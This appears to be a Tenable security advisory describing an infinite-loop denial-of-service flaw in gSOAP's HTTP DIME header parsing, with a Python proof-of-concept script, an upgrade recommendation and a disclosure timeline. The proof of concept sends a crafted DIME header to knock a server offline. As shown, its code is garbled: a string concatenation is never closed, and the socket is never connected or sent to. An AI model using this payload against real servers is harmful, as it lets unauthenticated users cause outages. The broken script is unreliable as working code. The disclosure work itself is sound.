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[R1] gSOAP HTTP DIME Parsing Denial of Service



While investigating Devil's Ivy, Tenable decided to set aside some time to fuzz gSOAP using american fuzzy lop. Tenable discovered that gSOAP is surprisingly resilient!

But no one is perfect. We uncovered an infinite loop in the HTTP server's DIME header parsing. DIME doesn't appear to be widely used across gSOAP deployments, but, when enabled, a remote unauthenticated user can force the HTTP server to become unresponsive. We wrote a proof of concept against gSOAP's sample dimeserver application.

import sys
import socket

if len(sys.argv) != 3:
    print 'Usage: ./dime_poc.py '

sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
server_address = (sys.argv[1], int(sys.argv[2]))

payload = '<?xml version="1.0" encoding="UTF-8"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" xmlns:SOAP-ENC="http://schemas.xmlsoap.org/soap/encoding/" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:ns="urn:dime"><SOAP-ENV:Body SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><ns:getImage><name>image.jpg</name></ns:getImage></SOAP-ENV:Body></SOAP-ENV:Envelope>'
payload_length = bytearray.fromhex("{:08x}".format(len(payload)))

iloop = ('POST /~engelen/dimesrv.cgi HTTP/1.1\r\n'
'Host: test\r\n'
'User-Agent: gSOAP/2.8\r\n'
'Content-Type: application/dime\r\n'
'Connection: close\r\n'
#start dime header
iloop += '\x0d\x3f\x00\x00\x00\x00\x00\x00'
iloop += payload_length
#end dime header
iloop += payload
#start new dime header
iloop += '\x0d\x3f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02\x7f\xff\x2f\x3e'
# lawl

print sock.recv(4096)



Upgrade to gSOAP 2.8.53 or greater.

Disclosure Timeline

08-25-2017 - Submitted a ticket to try and get a vulnerability disclosure contact
08-26-2017 - Genivia asks for email info so they can set up a drop box to share info
08-26-2017 - Contact info provided
08-26-2017 - Automated response from Genivia
08-27-2017 - Genivia creates dropbox folder and requests information.
08-28-2017 - Tenable sends proof of concept and basic description of the infinite loop to Genivia via dropbox.
08-28-2017 - Genivia acks receipt and indicates a new release tomorrow or the day after
08-28-2017 - A lot of back and forth about assigning a CVE
09-07-2017 - Tenable notes that Genivia announced the vuln/patch

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